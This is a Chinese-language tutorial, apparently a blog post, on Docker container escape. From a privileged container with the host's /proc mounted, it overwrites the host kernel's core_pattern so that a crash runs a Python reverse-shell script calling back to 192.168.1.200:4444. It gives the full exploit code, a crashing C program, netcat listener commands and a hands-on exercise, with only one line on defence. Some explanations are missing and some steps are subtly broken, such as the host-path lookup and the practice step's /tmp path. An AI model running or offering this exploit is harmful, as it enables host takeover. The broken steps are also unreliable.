等待学习-Docker 容器逃逸：用 core_pattern 反弹宿主机 Shell

等待学习-Docker 容器逃逸：用 core_pattern 反弹宿主机 Shell

完整教程

第零章：你需要先懂这些

Docker 容器隔离靠什么？

靠 Linux Namespace。它让容器以为自己有独立的 PID、网络、文件系统。

但 Namespace 不是完美的。如果你把宿主机的敏感目录挂载进容器，隔离就破了。

overlay2 是什么？

Docker 的文件系统分层存储。容器里看到的 /app，在宿主机上其实是：

/var/lib/docker/overlay2/某个长哈希/merged/app

容器内的文件 = 宿主机上真实存在的文件。这是关键。

/proc 是什么？为什么挂载它很危险？

/proc 是内核接口。/proc/sys/kernel/core_pattern 是一个内核参数，决定程序崩溃后怎么处理。

如果容器挂载了宿主机的 /proc，容器就能修改宿主机的内核行为。

第一章：理解 core_pattern

正常情况

程序崩溃（段错误）→ 内核生成 core dump 文件 → 存到磁盘

core_pattern 可以改成这样

# 在容器内执行（但因为挂了/proc，实际改的是宿主机内核）
echo "|/tmp/handler" > /proc/sys/kernel/core_pattern

前面的 | 是管道符。意思是：

程序崩溃后，core dump 数据不存文件，而是作为 stdin 传给 /tmp/handler 这个程序执行

谁来执行？宿主机内核。在宿主机的上下文中跑。

第二章：攻击链（一步步来）

场景设定

宿主机 IP: 192.168.1.100
攻击者机器: 192.168.1.200（监听 4444 端口）

容器启动命令:
docker run -it --privileged -v /proc:/host_proc alpine sh

--privileged + 挂载 /proc = 容器能改宿主机内核参数

Step 1：在容器内放反弹脚本

# /tmp/rev.py
import socket, os, pty

LHOST = "192.168.1.200"  # 攻击者机器
LPORT = 4444

s = socket.socket()
s.connect((LHOST, LPORT))

os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

os.environ["HISTFILE"] = "/dev/null"
pty.spawn("/bin/sh")

这段代码做了什么：

结果：攻击者在自己机器上执行 nc -lvp 4444，就能操作容器的 shell。

但这只是拿到容器的 shell。我们要的是宿主机。

Step 2：修改宿主机的 core_pattern

在容器内执行：

# 注意路径：指向容器内的脚本，但因为挂了/proc，实际改的是宿主机内核
echo "|/tmp/rev.py" > /host_proc/sys/kernel/core_pattern

现在宿主机内核记住了：

任何程序崩溃 → 执行 /tmp/rev.py

问题：宿主机上有 /tmp/rev.py 吗？没有。但容器内有，而且 overlay2 机制下，容器的 /tmp/rev.py 在宿主机上真实路径是：

/var/lib/docker/overlay2/xxxxx/merged/tmp/rev.py

所以要写完整路径：

# 先找到容器在宿主机上的真实路径
CONTAINER_ROOT=$(cat /host_proc/1/root | tr -d '\0')
# 假设输出 /var/lib/docker/overlay2/abc123/merged

echo "|$CONTAINER_ROOT/tmp/rev.py" > /host_proc/sys/kernel/core_pattern

Step 3：在攻击者机器上开监听

nc -lvp 4444

等着收连接。

Step 4：在容器内运行一个会崩溃的程序

// crash.c
int main() {
    char *p = NULL;
    *p = 42;  // 段错误！
}

gcc crash.c -o crash
./crash

Step 5：发生了什么？

crash 程序段错误
    ↓
宿主机内核捕获到崩溃
    ↓
读 core_pattern：发现是 "|/var/lib/.../tmp/rev.py"
    ↓
宿主机内核在宿主机上下文中执行这个 Python 脚本
    ↓
Python 脚本连接 192.168.1.200:4444
    ↓
攻击者收到一个 shell —— 但这个 shell 是宿主机的！

第三章：为什么能成功？一张图

┌─────────────────────────────────────────┐
│              宿主机 (192.168.1.100)       │
│                                           │
│  内核读到 core_pattern                     │
│       ↓                                   │
│  执行 /var/lib/docker/overlay2/.../rev.py │  ← 宿主机内核在执行
│       ↓                                   │
│  脚本 connect(192.168.1.200:4444)        │  ← 出站连接，防火墙不拦
│       ↓                                   │
│  攻击者拿到宿主机 shell ✓                  │
│                                           │
│  ┌───────────────────────────────────┐   │
│  │         容器 (alpine)              │   │
│  │                                     │   │
│  │  crash 程序 → 段错误               │   │
│  │  core_pattern 被容器修改 ← 挂载/proc │   │
│  │  rev.py 在容器内                    │   │
│  └───────────────────────────────────┘   │
└─────────────────────────────────────────┘

三个条件缺一不可：

第四章：防御

一句话：不要给容器 --privileged + 挂载 /proc，这个攻击就不成立。

练手作业

1. 在虚拟机里启动一个 --privileged -v /proc:/host_proc 的容器
2. 容器内写 /tmp/rev.py，攻击者开 nc -lvp 4444
3. 容器内 echo "|/tmp/rev.py" > /host_proc/sys/kernel/core_pattern
4. 编译运行 crash.c
5. 看攻击者是否收到宿主机 shell

做完这五步，你就真正懂了。